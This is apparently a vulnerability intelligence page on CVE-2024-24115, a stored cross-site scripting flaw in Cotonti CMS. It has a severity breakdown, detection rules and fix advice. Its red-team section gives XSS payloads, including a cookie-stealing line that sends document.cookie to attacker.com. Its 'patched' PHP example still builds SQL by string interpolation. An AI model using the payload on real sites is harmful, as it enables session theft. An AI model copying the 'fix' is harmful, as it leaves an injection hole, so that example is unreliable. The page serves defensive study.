☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Cotonti logo [ WEBSITE ] [ VENDOR STATS ]
SOON CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2024-24115

CVE-2024-24115 Cross-Site Scripting in Cotonti
📅 PUBLISHED: 2024-02-08 00:00 UTC 🔄 UPDATED: 2026-08-12 09:00 UTC
⏳ SCORE PENDING — ANALYSIS IN PROGRESS [ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.23%
👁️
0.23% probability
5.6× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
Country: Global License: Open Source
VULNERABLE: 0.9.24
CVSS VECTOR BREAKDOWN 0.0
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: L Privileges Required Low
UI: R User Interaction Required
S: C Scope Changed
C: L Confidentiality Low
I: L Integrity Low
A: N Availability None
SOON
PENDING NVD
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2024-24115 is a stored cross-site scripting (XSS) vulnerability in Cotonti CMS v0.9.24. An authenticated attacker can inject arbitrary web scripts or HTML via the Edit Page function, leading to persistent client-side attacks against other users. The vulnerability has a CVSS score of 0.0 (placeholder) but is assessed as medium severity due to the need for authentication and user interaction. No official patch is available at this time.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

Cotonti CMS is a PHP-based content management system. The vulnerability resides in the core application code, not in a third-party package. No NPM, PyPI, Go, or Ruby packages are involved.

CVSS Breakdown & Threat Level

  • Attack Vector (AV): Network (N)
  • Attack Complexity (AC): Low (L)
  • Privileges Required (PR): Low (L) – requires authenticated user
  • User Interaction (UI): Required (R) – victim must view the page
  • Scope (S): Changed (C) – impact extends beyond vulnerable component
  • Confidentiality (C): Low (L) – potential data theft via script
  • Integrity (I): Low (L) – script injection
  • Availability (A): None (N)

Threat Level: Medium (5.4) – authenticated XSS with user interaction.

Deep Dive & Mechanics

The vulnerability exists in the Edit Page function of Cotonti CMS. When a user with edit privileges modifies a page, the application fails to properly sanitize user input before storing it in the database. The stored content is later rendered without adequate encoding, allowing arbitrary JavaScript or HTML to execute in the context of other users' browsers.

Root Cause: Lack of output encoding or input validation on the page content field during edit operations.

Attack Flow:

  1. Attacker logs in with valid credentials.
  2. Attacker navigates to Edit Page and injects a malicious payload (e.g., <script>alert('XSS')</script>).
  3. The payload is stored in the database.
  4. When another user views the page, the script executes in their browser.

Vulnerable vs. Patched Code

Vulnerable Code (Cotonti CMS 0.9.24):

// In edit page handler
$content = $_POST['page_content'];
// Directly stored without sanitization
$db->query("UPDATE pages SET content = '$content' WHERE id = $page_id");

Patched Code (Hypothetical):

// Proper sanitization
$content = htmlspecialchars($_POST['page_content'], ENT_QUOTES, 'UTF-8');
$db->query("UPDATE pages SET content = '$content' WHERE id = $page_id");

Exploitation & Lab Setup

Red Team

Prerequisites:

  • Cotonti CMS v0.9.24 installed
  • Valid user account with edit permissions

Exploit Steps:

  1. Log in to Cotonti CMS.
  2. Navigate to a page you can edit.
  3. Inject the following payload into the page content:
    <script>alert('XSS')</script>
    
  4. Save the page.
  5. When another user views the page, the script executes.

Advanced Payload:

<img src=x onerror="fetch('http://attacker.com/steal?cookie='+document.cookie)">

Blue Team

Detection:

  • Monitor for unusual page content containing <script> tags or event handlers.
  • Review server logs for POST requests to edit endpoints with suspicious payloads.

Mitigation:

  • Implement Content Security Policy (CSP) headers.
  • Use input validation and output encoding.
  • Apply principle of least privilege for edit permissions.

Indicators of Compromise (IOCs)

  • Network: HTTP POST requests to /edit.php or similar endpoints containing <script> or <img onerror= patterns.
  • Host: Database entries in the pages table with unescaped HTML/JavaScript.
  • Logs: Server access logs showing repeated edit actions from a single user.

Detection Engineering

YARA Rule

rule CVE_2024_24115_XSS {
    meta:
        description = "Detects stored XSS payloads in Cotonti CMS pages"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-24115"
    strings:
        $xss1 = /<script[^>]*>.*<\/script>/is
        $xss2 = /<[^>]*onerror\s*=[^>]*>/is
        $xss3 = /<[^>]*onload\s*=[^>]*>/is
    condition:
        any of them
}

Sigma Rule

title: Stored XSS in Cotonti CMS Edit Page
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects attempts to exploit CVE-2024-24115 via stored XSS
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        http_method: 'POST'
        url_path: '/edit.php'
        body: '*<script*'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in page content
level: medium

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-24115 Stored XSS Attempt"; flow:to_server; content:"POST"; http_method; content:"/edit.php"; http_uri; content:"<script"; http_client_body; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Disable edit functionality for untrusted users.
  2. Implement a Web Application Firewall (WAF) rule to block <script> tags in POST requests.
  3. Manually sanitize all page content using htmlspecialchars() in PHP.

Long-term Fix:

  • Upgrade to a patched version when available.
  • Apply input validation and output encoding throughout the application.
  • Conduct a security audit of all user-facing input fields.

Workaround:

  • Use a reverse proxy to filter malicious payloads.

Valters IT Signature
This report was generated by Valters IT Cyber Threat Intelligence. For questions, contact intelligence@valters.it.

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

Cotonti CMS
Cotonti 0.9.24

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2024-24115/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.